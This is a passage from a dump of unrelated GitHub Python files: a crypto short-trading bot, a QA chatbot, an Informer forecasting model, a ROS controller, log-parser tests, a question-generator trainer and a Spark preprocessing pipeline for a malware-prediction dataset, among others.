read_obj:\n # read first character\n one_char = read_obj.read(1)\n # if not fetched then file is empty\n if not one_char:\n return True\n else:\n return False\n\n\n\n def write_list_to_file(self,name,trade_execution):\n # places = ['Berlin', 'Cape Town', 'Sydney', 'Moscow']\n\n FILE = open(f'{name}',\"a\")\n \n FILE.writelines('%s\\n' % trade_execution)\n FILE.close()\n\n def read_list_from_file(self,name):\n name =name\n\n \n if self.is_file_empty_3(name) == False:\n\n FILE = open(name, 'r')\n temp_array = []\n \n for line in FILE:\n # remove linebreak which is the last character of the string\n item = line[:-1]\n\n #add item to the list\n temp_array.append(item)\n \n temp_array = [eval(item) for item in temp_array]\n self.trades_updated = temp_array\n temp_array = []\n\n \n FILE.close()\n\n\n\n def hedge_strat_short(self,close,EMA_item):\n #SELL\n self.short_close_condition(close)\n # print(\"sleeping\")\n # time.sleep(2)\n # print(\"awake\")\n #short\n print(\"running short condish\")\n self.short_condition(close,EMA_item)\n \n\n def read_financials_from_file(self,name):\n name =name\n\n \n if self.is_file_empty_3(name) == False:\n\n FILE = open(name, 'r')\n temp_array = []\n \n for line in FILE:\n # remove linebreak which is the last character of the string\n item = line[:-1]\n\n #add item to the list\n temp_array.append(item)\n \n temp_array = [eval(item) for item in temp_array]\n financials_from_file = temp_array[-1]\n temp_array = []\n\n \n FILE.close()\n return financials_from_file\n\n def get_shares_to_short(self):\n row = self.read_financials_from_file(\"financials.txt\")\n return row[\"shorts_to_buy\"]\n\n\n \n def add_ID(self):\n IDs = []\n if len(self.trades_updated) >0:\n for trade in self.trades_updated:\n IDs.append(int(trade[\"ID\"]))\n maxID = max(IDs)\n return maxID +1\n else:\n return 1\n\n \n\n\n \n def short_condition(self,close,EMA_item):\n \n \n if close <= EMA_item:\n self.SHORT()\n\n \n\n def short_close_condition(self,close):\n \n self.read_list_from_file(\"hedge_TRADES.txt\") #???\n closed_IDs = []\n only_1_IDs = []\n idss = []\n if len(self.trades_updated) >0:\n for i in range(len(self.trades_updated)):\n idss.append(self.trades_updated[i][\"ID\"])\n for y in range(len(idss)):\n if idss.count(self.trades_updated[y][\"ID\"]) ==1:\n only_1_IDs.append(self.trades_updated[y])\n for trade in only_1_IDs: #loop in reverse\n if close <= trade[\"entry_price\"] - trade[\"entry_price\"] * self.tp or close >= trade[\"entry_price\"] + trade[\"entry_price\"] * self.tp:\n self.SHORT_CLOSE(trade)\n\n\n def tp_price(self,entry_price):\n tp_price_ = entry_price + entry_price *.01\n return tp_price_\n\n def SHORT_CLOSE(self,trade):\n \n \n for i in range(len(self.trades_updated)-1,-1,-1):\n if trade[\"ID\"] == self.trades_updated[i][\"ID\"] and self.trades_updated[i][\"closed\"] ==1:\n return\n\n else:\n if trade[\"ID\"] == self.trades_updated[i][\"ID\"] and self.trades_updated[i][\"open\"] ==1 and self.trades_updated[i][\"short\"] ==1:\n \n order = client.order_market_buy(\n symbol=trade[\"symbol\"],\n quantity=trade[\"shares\"])\n print(order)\n self.rebalancing = 1\n\n \n\n\n for obj in order[\"fills\"]:\n \n self.trade_exit_prices.append(float(obj[\"price\"]))\n # print(f'last trade entry price {trade_entry_prices[-1]}')\n # if len(trade_entry_prices) > 1:\n # avg_trade_exit_price = sum(trade_entry_prices) / len(trade_entry_prices)\n # else:\n self.exit_price = self.trade_exit_prices[-1]\n\n profit = trade[\"entry_price\"] - self.exit_price \n \n self.running_profit += profit\n\n #states\n self.trades_updated[i][\"open\"] = 0\n \n self.trades_updated[i][\"closed\"] = 1\n\n\n self.trades_updated[i][\"exit_price\"] = self.exit_price\n self.trades_updated[i][\"exit_date\"] = datetime.datetime.now().strftime(\"%m/%d/%Y %H:%M:%S\")\n self.trades_updated[i][\"profit\"] = profit\n\n row_in_mem = self.trades_updated[i]\n self.write_list_to_file(\"hedge_TRADES.txt\",row_in_mem)\n\n print(f'SHORT_CLOSEDDDD ID: {self.trades_updated[i][\"ID\"]} exit date: {self.trades_updated[i][\"exit_date\"]} exit_price: {self.trades_updated[i][\"exit_price\"]} entry_price: {self.trades_updated[i][\"entry_price\"]} profit {self.trades_updated[i][\"profit\"]} Running Profit: {self.running_profit}')\n\n\n def SHORT(self):\n try:\n print(\"SHORT CALLED and rebalancing is\",self.rebalancing)\n # if STATE[\"simulation\"]==1:\n \n # avg_trade_entry_price = hist_bars[-1][\"close\"]\n\n # print(f'{hist_bars[-1][\"date\"]} BUYYYYYYYYY Entrty Price: {avg_trade_entry_price}')\n\n #state\n \n\n #self.TRADES_dict= {\"ID\":1,\"entry_date\":datetime.datetime.now(),\"exit_date\":None,\"entry_price\":0,\"exit_price\":0,\"shares\":0,\"symbol\":\"DOGE\",\"tp\":0,\"long\":0,\"open\":0,\"closed\":0,\"running_profit\":0}\n #self.trades = []\n if self.rebalancing ==1:\n self.SHARES = self.get_shares_to_short()\n order = client.order_market_sell(\n symbol=self.TRADE_SYMBOL,\n quantity=self.SHARES)\n print(order)\n self.rebalancing = 0\n else:\n self.SHARES = self.MIN_SHARES\n order = client.order_market_sell(\n symbol=self.TRADE_SYMBOL,\n quantity=self.SHARES)\n print(order)\n\n\n \n\n \n\n for obj in order[\"fills\"]:\n \n self.trade_entry_prices.append(float(obj[\"price\"]))\n \n self.entry_price = self.trade_entry_prices[-1]\n\n \n\n #make Row\n row = {\"ID\":self.add_ID(),\"entry_date\":datetime.datetime.now().strftime(\"%m/%d/%Y %H:%M:%S\"),\"exit_date\":None,\"entry_price\":self.entry_price,\"exit_price\":0,\"shares\":self.SHARES,\"symbol\":self.TRADE_SYMBOL,\"tp_price\": self.tp_price(self.entry_price),\"long\":0,\"short\":1,\"open\":1,\"closed\":0,\"profit\":0}\n\n #write trade to file\n self.write_list_to_file(\"hedge_TRADES.txt\",row)\n\n #empty trades arry\n \n\n self.read_list_from_file(\"hedge_TRADES.txt\")\n\n print(f'SHORTTTTTT ID: {self.trades_updated[-1][\"ID\"]} date: {self.trades_updated[-1][\"entry_date\"]} Entry_price: {self.trades_updated[-1][\"entry_price\"]} TP: {self.trades_updated[-1][\"tp_price\"]}')\n \n except Exception as e:\n print(\"THERE IS AN ERROR\",e) \n \n # email_Text(f'BUYYYYYYY ID: {self.trades_updated[-1][\"ID\"]} Entry_price: {self.trades_updated[-1][\"entry_price\"]} TP: {self.trades_updated[-1][\"tp_price\"]}',self.vers) ","repo_name":"redfoo22/footrader_b","sub_path":"hedge_short.py","file_name":"hedge_short.py","file_ext":"py","file_size_in_byte":9085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"86535862164","text":"from .faq import FAQ as faq\nfrom .faq import KBQA as kbqa\n\nclass ChatBot_QA:\n \"\"\"\n Constructor of QA chatbot. Currently we have two models, the FAQ and the KBQA\n \"\"\"\n\n def __init__(self):\n self.__faq = faq.FAQ()\n self.__kbqa = kbqa.KBQA()\n # Fine-tune this threshold especially for the FAQ model\n self._THRESHOLD = 0.25 # for multi-qa and all-mpnet\n\n \"\"\"\n Ask the query to our models.\n First we ask the FAQ model. If the probability is less than the THRESHOLD,\n then we ask the KBQA model. If this also fails we return a default answer\n k is the top-k results\n :return : The answer and its score \n \"\"\"\n def ask(self, query, k=3):\n # First ask the FAQ model\n model, results = self.__faq.ask(query, k)\n # Get the top result\n ans, score = results[0]\n\n # Add a threshold for our probabilities\n # If less than this then do something else\n if float(score) > self._THRESHOLD and ans != 'INVALID':\n return model, results\n\n # Else we were not able to answer the question using the FAQ module\n # Now use the Knowledge Base Question Answering model\n model, results = self.__kbqa.ask(query, k)\n # Get the top result\n ans, score = results[0]\n # Currently KBQA just returns the top-ranked result\n # If empty then return rephrase\n if ans == 'Not Found':\n results = [['I did not understand! Can you please rephrase?', '1.0']]\n return 'Default', results\n else:\n return model, results\n\n \"\"\"\n Ask only the faq model and return the answer and the probability\n \"\"\"\n def ask_faq(self, query, k):\n # ask the FAQ model\n model, results = self.__faq.ask(query, k)\n return model, results\n\n \"\"\"\n Ask only the kbqa model and return the answer and the probability\n \"\"\"\n def ask_kbqa(self, query, k):\n # ask the kbqa model\n model, results = self.__kbqa.ask(query, k)\n return model, results\n\n","repo_name":"ai4eu/ai4eu-chatbot","sub_path":"src/qa/ChatBot_QA.py","file_name":"ChatBot_QA.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"74571730087","text":"\nclass universe(object):\n def __init__(self, name, rewards = [], portals = []):\n self.name = name\n self.rewards = rewards\n self.portals = portals\n for i in self.rewards:\n i.append(True)\n \n def __str__(self):\n return 'Universe: {} ({} rewards and {} portals)'.format(self.name, len(self.rewards), len(self.portals))\n \n def prewards(self):\n newrewards = ['Rewards:']\n if len(self.rewards) >= 1:\n i = 0\n while i < len(self.rewards):\n newrewards.append('at ({},{}) for {} points: {}'\n .format(self.rewards[i][0], self.rewards[i][1],\n self.rewards[i][2], self.rewards[i][3]))\n i += 1\n return newrewards\n else:\n newrewards.append(None)\n return newrewards\n \n def pportals(self):\n newportals = ['Portals:']\n if len(self.portals) >= 1:\n i = 0\n while i < len(self.portals):\n newportals.append('{}({},{}) -> ({},{})'\n .format(self.name, self.portals[i][0], self.portals[i][1],\n self.portals[i][2], self.portals[i][3], self.portals[i][4]))\n i += 1\n return newportals\n else:\n newportals.append(None)\n return newportals \n \n\n\n\n\n\n\n\n\n\n","repo_name":"sriyuthsagi/CSCI-1100-Computer-Science-I","sub_path":"Homework/Homework 8/Universe.py","file_name":"Universe.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"18690713081","text":"\ncheck_adj = lambda num: any([num[i] == num[i - 1] for i in range(1, len(num))])\n\ncheck_never_decrease = lambda num: all([num[i] >= num[i - 1] for i in range(1, len(num))])\n\ndef check_adj2(num):\n count = {}\n for char in num:\n if char in count:\n count[char] += 1\n else:\n count[char] = 1\n return any([num[i] == num[i - 1] and count[num[i]] == 2 for i in range(1, len(num))])\n\ncheck2 = lambda num: check_never_decrease(num) and check_adj2(num)\n\ncheck1 = lambda num: check_adj(num) and check_never_decrease(num)\n\npart1 = lambda start, end: sum([check1(str(num)) for num in range(start, end + 1)])\n\npart2 = lambda start, end: sum([check2(str(num)) for num in range(start, end + 1)])\n\nstart, end = [int(num) for num in input().split('-')]\n\nprint(part1(start, end))\n\nprint(part2(start, end))","repo_name":"aaditkamat/competitive-programming","sub_path":"Advent of Code/2019/Day 4/day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"73360528808","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom utils.masking import TriangularCausalMask, ProbMask\nfrom models.encoder import Encoder, EncoderLayer, ConvLayer, EncoderStack\nfrom models.decoder import Decoder, DecoderLayer\nfrom models.attn import FullAttention, ProbAttention, AttentionLayer\nfrom models.embed import DataEmbedding\nimport random\n\nclass Informer(nn.Module):\n def __init__(self, enc_in, dec_in, c_out, seq_len, label_len, out_len, \n factor, d_model, n_heads, e_layers, d_layers, d_ff, \n dropout, attn, activation, \n output_attention, distil=True, mix=True, \n device=torch.device('cuda:0')):\n super(Informer, self).__init__()\n self.pred_len = out_len\n self.attn = attn\n self.output_attention = output_attention\n\n # Encoding embed는 timeF가 지금 default임.\n self.enc_embedding = DataEmbedding(enc_in, d_model, dropout)\n self.dec_embedding = DataEmbedding(dec_in, d_model, dropout)\n # Attention\n Attn = ProbAttention if attn=='prob' else FullAttention\n # Encoder\n self.encoder = Encoder(\n [\n EncoderLayer(\n AttentionLayer(Attn(False, factor, attention_dropout=dropout, output_attention=output_attention), \n d_model, n_heads, mix=False),\n d_model,\n d_ff,\n dropout=dropout,\n activation=activation\n ) for l in range(e_layers)\n ],\n [\n ConvLayer(\n d_model\n ) for l in range(e_layers-1)\n ] if distil else None,\n norm_layer=torch.nn.LayerNorm(d_model)\n )\n # Decoder\n self.decoder = Decoder(\n [\n DecoderLayer(\n AttentionLayer(Attn(False, factor, attention_dropout=dropout, output_attention=False), \n d_model, n_heads, mix=mix),\n AttentionLayer(FullAttention(False, factor, attention_dropout=dropout, output_attention=False), \n d_model, n_heads, mix=False),\n d_model,\n d_ff,\n dropout=dropout,\n activation=activation,\n )\n for l in range(d_layers)\n ],\n norm_layer=torch.nn.LayerNorm(d_model)\n )\n # self.end_conv1 = nn.Conv1d(in_channels=label_len+out_len, out_channels=out_len, kernel_size=1, bias=True)\n # self.end_conv2 = nn.Conv1d(in_channels=d_model, out_channels=c_out, kernel_size=1, bias=True)\n self.projection = nn.Linear(d_model, c_out, bias=True)#d_model에서 c_out으로 가는거 생각해.\n \n def forward(self, x_enc, x_mark_enc, x_dec, x_mark_dec, \n enc_self_mask=None, dec_self_mask=None, dec_enc_mask=None):\n \"\"\"\n 여기 지금 enc_self_mask, dec_self_mask, dec_enc_mask None으로 돼 있는 거 체크해야함.\n \"\"\"\n # print(f\"x_enc shape : {x_enc.shape}, x_mark_enc shape : {x_mark_enc.shape}, x_dec shape : {x_dec.shape}, x_mark_dec shape : {x_mark_dec.shape}\")\n enc_out = self.enc_embedding(x_enc, x_mark_enc)\n # print(f\"enc_out(enc_embedding 통과) shape : {enc_out.shape}\")\n enc_out, attns = self.encoder(enc_out, attn_mask=enc_self_mask)\n # print(f\"enc_out(encoder 통과) shape : {enc_out.shape}\")\n\n dec_out = self.dec_embedding(x_dec, x_mark_dec)\n # print(f\"dec out(decoder embedding 통과) shape : {dec_out.shape}\")\n dec_out = self.decoder(dec_out, enc_out, x_mask=dec_self_mask, cross_mask=dec_enc_mask)\n # print(f\"dec_out(decoder 통과) shape : {dec_out.shape}\")\n dec_out = self.projection(dec_out)\n # print(f\"dec out(final projection 통과) shape : {dec_out.shape}\")\n \n # dec_out = self.end_conv1(dec_out)\n # dec_out = self.end_conv2(dec_out.transpose(2,1)).transpose(1,2)\n \"\"\"\n error code\n \"\"\"\n # self.pred_len = random.randint(5, 2)\n # self.pred_len = 20\n # print(\"pred_len\")\n # print(self.pred_len)\n \"\"\"\n error code end\n \"\"\"\n if self.output_attention:\n return dec_out[:,-self.pred_len:,:], attns\n else:\n return dec_out[:,-self.pred_len:,:] # [B, L, D]","repo_name":"hwanseung2/Bus-Arrival-Time-Prediction","sub_path":"models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"42323745735","text":"#!/usr/bin/env python3\n\nimport rospy\nimport time\nimport message_filters\nfrom sensor_msgs.msg import Imu\nfrom ms5837.msg import ms5837_data\nfrom std_msgs.msg import Int32MultiArray\n\nrospy.init_node(\"attitude_controller_node\")\nrate = rospy.Rate(100)\n\nclass Controller():\n def __init__(self):\n self.imu_sub = Imu() # Paraentheses behind intialization of a message object are required.\n self.depth_sub = ms5837_data()\n self.msg = Int32MultiArray()\n self.msg.layout.dim = []\n self.msg.layout.data_offset = 16\n self.motorNum = 8\n\n self.commanded = rospy.Publisher('/command', Int32MultiArray, queue_size=10)\n self.msg.data = self.data_type(0)\n\n def callbackIMU(self,data):\n self.imu_sub = data\n\n def callbackDepth(self,data):\n self.depth_sub = data\n\n def main(self):\n # print(\"Reached callback.\")\n print(self.imu_sub.orientation.x)\n print(self.imu_sub.orientation.y)\n print(self.imu_sub.orientation.z)\n print(self.imu_sub.orientation.w)\n print(\"Depth:\")\n print(self.depth_sub.depth)\n\n if self.imu_sub.orientation.x > 0:\n self.msg.data = [0,1500,1550,0,0,0,0,0]\n self.commanded.publish(self.msg)\n elif self.imu_sub.orientation.x <= 0:\n self.msg.data = [0,1550,1500,0,0,0,0,0]\n self.commanded.publish(self.msg)\n\n def data_type(self,num):\n data = []\n for i in range(0,self.motorNum):\n data.append(0)\n\n for i in range(0,self.motorNum):\n data[i] = num\n\n return data\n \nif __name__ == '__main__':\n try:\n loop = Controller()\n while not rospy.is_shutdown(): \n rospy.Subscriber(\"/imu/data\", Imu,loop.callbackIMU)\n rospy.Subscriber(\"/rov/ms5837_filtered\", ms5837_data,loop.callbackDepth)\n\n loop.main()\n \n # print(\"Reached just after callback.\")\n\n rate.sleep()\n\n except KeyboardInterrupt:\n print(\"Keyboard Interrupt\")\n","repo_name":"MUsurf/Jelly_ROS_22-23","sub_path":"catkin_ws/src/controller/src/attitude_controller_node.py","file_name":"attitude_controller_node.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"32225023166","text":"from functools import reduce\n\nrooms = [\n {\"name\": \"кухня\", \"length\": 6, \"width\": 4},\n {\"name\": \"комната 1\", \"length\": 5.5, \"width\": 4.5},\n {\"name\": \"комната 2\", \"length\": 5, \"width\": 4},\n {\"name\": \"комната 3\", \"length\": 7, \"width\": 6.3},\n]\n\n\ndef get_room_with_square(room):\n length = room[\"length\"]\n width = room[\"width\"]\n square = length * width\n room[\"square\"] = square\n return room\n\n\ndef get_room_square(room):\n length = room[\"length\"]\n width = room[\"width\"]\n square = length * width\n return square\n\n\ndef get_flat_square(s1, s2):\n result = s1 + s2\n return result\n\nroomSquare = list(map(get_room_square, rooms))\nsquare = reduce(get_flat_square, map(get_room_square, rooms))","repo_name":"Stroesku/py_learn","sub_path":"functional/rooms.py","file_name":"rooms.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"28718995418","text":"import unittest\nfrom io import StringIO\nfrom visualplan.log import LogParser\n\n\nclass TestLogParser(unittest.TestCase):\n def _parse_content(self, content):\n fobj = StringIO(content)\n parser = LogParser()\n return parser.parse(fobj)\n\n def test_parsed_line_is_marked_as_executed(self):\n content = '[Apr 19 16:12:44] -- Executing [*971111@default:2] Set\\n'\n\n parse_result = self._parse_content(content)\n\n self.assertTrue(parse_result.is_executed('default', '*971111', 2))\n\n def test_unparsed_line_is_marked_as_unexecuted(self):\n content = ''\n\n parse_result = self._parse_content(content)\n\n self.assertFalse(parse_result.is_executed('default', 's', 1))\n\n def test_parser_doesnt_choke_on_invalid_line(self):\n content = \"\"\"\\\n[Apr 19 08:15:56] -- AGI Script Executing Application: (Answer) Options: ()\n[Apr 19 16:12:44] -- Executing foobar\n[Apr 19 16:12:44] -- Executing [*971111@default:2] Set\n\"\"\"\n parse_result = self._parse_content(content)\n\n self.assertTrue(parse_result.is_executed('default', '*971111', 2))\n\n def test_list_executed_extensions(self):\n content = \"\"\"\\\n[Apr 19 16:12:44] -- Executing [s@default:1] Set\n\"\"\"\n\n parse_result = self._parse_content(content)\n\n self.assertEqual(['s'], parse_result.list_executed_extensions('default', 1))\n self.assertEqual([], parse_result.list_executed_extensions('default', 2))\n self.assertEqual([], parse_result.list_executed_extensions('foo', 1))\n","repo_name":"wazo-platform/wazo-tools","sub_path":"visualplan/src/visualplan/tests/test_log.py","file_name":"test_log.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"40163280305","text":"import torch\nfrom tqdm import tqdm\nfrom torch.optim import AdamW\nfrom torch.utils.data import DataLoader, Dataset\nfrom sklearn.metrics import accuracy_score\nfrom transformers import AutoTokenizer\n\nfrom utils import AverageMeter\n\n\nclass Trainer:\n def __init__(\n self,\n dataloader_workers: int,\n device: str,\n epochs: int,\n learning_rate: float,\n model: torch.nn.Module,\n tokenizer: AutoTokenizer,\n pin_memory: bool,\n save_dir: str,\n train_batch_size: int,\n train_set: Dataset,\n valid_batch_size: int,\n valid_set: Dataset,\n evaluate_on_accuracy: bool = False\n ) -> None:\n self.device = device\n self.epochs = epochs\n self.save_dir = save_dir\n self.train_batch_size = train_batch_size\n self.valid_batch_size = valid_batch_size\n self.train_loader = DataLoader(\n train_set,\n batch_size=train_batch_size,\n num_workers=dataloader_workers,\n pin_memory=pin_memory,\n shuffle=True\n )\n self.valid_loader = DataLoader(\n valid_set,\n batch_size=train_batch_size,\n num_workers=dataloader_workers,\n pin_memory=pin_memory,\n shuffle=False\n )\n self.tokenizer = tokenizer\n self.model = model.to(self.device)\n self.optimizer = AdamW(self.model.parameters(), lr=learning_rate)\n self.train_loss = AverageMeter()\n self.evaluate_on_accuracy = evaluate_on_accuracy\n if evaluate_on_accuracy:\n self.best_valid_score = 0\n else:\n self.best_valid_score = float(\"inf\")\n\n def train(self) -> None:\n for epoch in range(1, self.epochs+1):\n self.model.train()\n self.train_loss.reset()\n\n with tqdm(total=len(self.train_loader), unit=\"batches\") as tepoch:\n tepoch.set_description(f\"epoch {epoch}\")\n for data in self.train_loader:\n self.optimizer.zero_grad()\n data = {key: value.to(self.device) for key, value in data.items()}\n output = self.model(**data)\n loss = output.loss\n loss.backward()\n self.optimizer.step()\n self.train_loss.update(loss.item(), self.train_batch_size)\n tepoch.set_postfix({\"train_loss\": self.train_loss.avg})\n tepoch.update(1)\n\n if self.evaluate_on_accuracy:\n valid_accuracy = self.evaluate_accuracy(self.valid_loader)\n if valid_accuracy > self.best_valid_score:\n print(\n f\"Validation accuracy improved from {self.best_valid_score:.4f} to {valid_accuracy:.4f}. Saving.\"\n )\n self.best_valid_score = valid_accuracy\n self._save()\n else:\n valid_loss = self.evaluate(self.valid_loader)\n if valid_loss < self.best_valid_score:\n print(\n f\"Validation loss decreased from {self.best_valid_score:.4f} to {valid_loss:.4f}. Saving.\")\n self.best_valid_score = valid_loss\n self._save()\n\n @torch.no_grad()\n def evaluate(self, dataloader: DataLoader) -> float:\n self.model.eval()\n eval_loss = AverageMeter()\n with tqdm(total=len(dataloader), unit=\"batches\") as tepoch:\n tepoch.set_description(\"validation\")\n for data in dataloader:\n data = {key: value.to(self.device) for key, value in data.items()}\n output = self.model(**data)\n loss = output.loss\n eval_loss.update(loss.item(), self.valid_batch_size)\n tepoch.set_postfix({\"valid_loss\": eval_loss.avg})\n tepoch.update(1)\n return eval_loss.avg\n\n @torch.no_grad()\n def evaluate_accuracy(self, dataloader: DataLoader) -> float:\n self.model.eval()\n accuracy = AverageMeter()\n with tqdm(total=len(dataloader), unit=\"batches\") as tepoch:\n tepoch.set_description(\"validation\")\n for data in dataloader:\n data = {key: value.to(self.device) for key, value in data.items()}\n output = self.model(**data)\n preds = torch.argmax(output.logits, dim=1)\n score = accuracy_score(data[\"labels\"].cpu(), preds.cpu())\n accuracy.update(score, self.valid_batch_size)\n tepoch.set_postfix({\"valid_acc\": accuracy.avg})\n tepoch.update(1)\n return accuracy.avg\n\n def _save(self) -> None:\n self.tokenizer.save_pretrained(self.save_dir)\n self.model.save_pretrained(self.save_dir)\n","repo_name":"AMontgomerie/question_generator","sub_path":"training/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","stars":247,"dataset":"github-code","pt":"53"} +{"seq_id":"13901332165","text":"import sys\nfrom PyQt6.QtWidgets import *\n\n\nclass DlgMain(QWidget):\n def __init__(self):\n super().__init__()\n self.setWindowTitle('My GUI')\n self.setGeometry(50, 50, 300, 300)\n\n hbx = QHBoxLayout()\n button1 = QPushButton('Play')\n hbx.addStretch()\n hbx.addWidget(button1)\n hbx.setStretch(0, 0)\n hbx.addStretch()\n self.setLayout(hbx)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main = DlgMain()\n main.show()\n sys.exit(app.exec())\n\n","repo_name":"throwmeister/gui_experiments","sub_path":"guis/rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"33229512101","text":"from pyspark.sql import SparkSession\n\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.feature import StringIndexer, OneHotEncoderEstimator, VectorAssembler, Normalizer\n\nspark = SparkSession.builder.getOrCreate()\n\nHOME_DIR = 'hdfs://dumbo/user/ns4486/'\nPIPELINE_DIR = HOME_DIR + 'pipelines/'\nWRITE_DIR = HOME_DIR + 'write/'\nREAD_DIR = HOME_DIR + 'datasets/'\n\ndf = spark.read.load(READ_DIR + 'microsoft_malware/train.csv', format = \"csv\", sep = \",\", inferSchema = \"true\", header = \"true\")\n\n# drop columns with NULL percentage > 50\ndf = df.drop(\n 'DefaultBrowsersIdentifier',\n 'PuaMode',\n 'Census_ProcessorClass',\n 'Census_InternalBatteryType',\n 'Census_IsFlightingInternal',\n 'Census_ThresholdOptIn',\n 'Census_IsWIMBootEnabled'\n)\n\n# drop unique identifier column\ndf = df.drop('MachineIdentifier')\n\ndf = df.fillna('NA')\ntrain_df, test_df = df.randomSplit([0.75, 0.25], seed=1337)\n\nCOLUMNS_OHE = [\n 'ProductName',\n 'EngineVersion',\n 'AppVersion',\n 'IsBeta',\n 'RtpStateBitfield',\n 'IsSxsPassiveMode',\n 'AVProductsInstalled',\n 'AVProductsEnabled',\n 'HasTpm',\n 'CountryIdentifier',\n 'OrganizationIdentifier',\n 'GeoNameIdentifier',\n 'LocaleEnglishNameIdentifier',\n 'Platform',\n 'Processor',\n 'OsVer',\n 'OsBuild',\n 'OsSuite',\n 'OsPlatformSubRelease',\n 'OsBuildLab',\n 'SkuEdition',\n 'IsProtected',\n 'AutoSampleOptIn',\n 'SMode',\n 'IeVerIdentifier',\n 'SmartScreen',\n 'Firewall',\n 'UacLuaenable',\n 'Census_MDC2FormFactor',\n 'Census_DeviceFamily',\n 'Census_ProcessorCoreCount',\n 'Census_ProcessorManufacturerIdentifier',\n 'Census_PrimaryDiskTypeName',\n 'Census_HasOpticalDiskDrive',\n 'Census_ChassisTypeName',\n 'Census_InternalPrimaryDiagonalDisplaySizeInInches',\n 'Census_PowerPlatformRoleName',\n 'Census_OSVersion',\n 'Census_OSArchitecture',\n 'Census_OSBranch',\n 'Census_OSBuildNumber',\n 'Census_OSBuildRevision',\n 'Census_OSEdition',\n 'Census_OSSkuName',\n 'Census_OSInstallTypeName',\n 'Census_OSInstallLanguageIdentifier',\n 'Census_OSUILocaleIdentifier',\n 'Census_OSWUAutoUpdateOptionsName',\n 'Census_IsPortableOperatingSystem',\n 'Census_GenuineStateName',\n 'Census_ActivationChannel',\n 'Census_IsFlightsDisabled',\n 'Census_FlightRing',\n 'Census_FirmwareManufacturerIdentifier',\n 'Census_IsSecureBootEnabled',\n 'Census_IsVirtualDevice',\n 'Census_IsTouchEnabled',\n 'Census_IsPenCapable',\n 'Census_IsAlwaysOnAlwaysConnectedCapable',\n 'Wdft_IsGamer',\n 'Wdft_RegionIdentifier'\n]\n\nCOLUMNS_HIGH_CARD = [\n 'Census_SystemVolumeTotalCapacity',\n 'Census_PrimaryDiskTotalCapacity',\n 'Census_TotalPhysicalRAM',\n 'Census_OEMModelIdentifier',\n 'CityIdentifier',\n 'Census_FirmwareVersionIdentifier',\n 'Census_InternalBatteryNumberOfCharges',\n 'AVProductStatesIdentifier',\n 'AvSigVersion',\n 'Census_OEMNameIdentifier',\n 'Census_ProcessorModelIdentifier',\n 'Census_InternalPrimaryDisplayResolutionHorizontal',\n 'Census_InternalPrimaryDisplayResolutionVertical'\n]\n\npipelineStages = []\n\nstringIndexerStages = [\n StringIndexer(inputCol = col, outputCol = col + '_INDEX', handleInvalid = 'skip')\n for col in COLUMNS_OHE + COLUMNS_HIGH_CARD\n]\npipelineStages += stringIndexerStages\n\nOHEStage = OneHotEncoderEstimator(\n inputCols = [col + '_INDEX' for col in COLUMNS_OHE],\n outputCols = [col + '_VEC' for col in COLUMNS_OHE]\n)\npipelineStages += [OHEStage]\n\nsparseVectorCols = [col + '_VEC' for col in COLUMNS_OHE] + [col + '_INDEX' for col in COLUMNS_HIGH_CARD]\nassembler = VectorAssembler(\n inputCols = sparseVectorCols, \n outputCol = 'features'\n)\npipelineStages += [assembler]\n\nnormalizer = Normalizer(\n inputCol = 'features',\n outputCol = 'normFeatures'\n)\npipelineStages += [normalizer]\n\n\npipeline = Pipeline(stages = pipelineStages)\npipelineModel = pipeline.fit(train_df)\ntrain_df = pipelineModel.transform(train_df)\n\nfor col in COLUMNS_OHE:\n train_df.drop(col, col + '_VEC')\n\nfor col in COLUMNS_HIGH_CARD:\n train_df.drop(col, col + '_INDEX')\n\ntrain_df.drop('features')\n\ntrain_df = spark.createDataFrame(train_df.rdd, schema = train_df.schema)\n\npipelineModel.save(PIPELINE_DIR + 'pipeline_model_preprocess')\npipeline.save(PIPELINE_DIR + 'pipeline_preprocess')\n\ntrain_df.write.parquet(WRITE_DIR + 'train_clean.parquet')","repo_name":"nikhilvsupekar/malware-prediction","sub_path":"src/spark/pipeline_preprocess.py","file_name":"pipeline_preprocess.py","file_ext":"py","file_size_in_byte":4360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"2580101328","text":"import numpy as np\r\nimport sys\r\nfrom numpy import linalg as LA\r\nfrom data_operations import standardize, isolate_sets\r\n\r\ndef compute_se(y, expected):\r\n return (y - expected) ** 2\r\n\r\ndef compute_rmse(se):\r\n return np.sqrt(se.mean())\r\n\r\ndef perform_s_folds(s, data):\r\n se = []\r\n for i in range(0, len(data)):\r\n testing = data[i]\r\n training = [x for j, x in enumerate(data) if j != i]\r\n training = np.vstack(training)\r\n\r\n train_x, train_y, test_x, test_y = isolate_sets(training, testing)\r\n\r\n theta = LA.inv(train_x.T @ train_x) @ train_x.T @ train_y\r\n expected = test_x @ theta\r\n error = compute_se(test_y, expected)\r\n se.append(error)\r\n\r\n se = np.vstack(se)\r\n rmse = 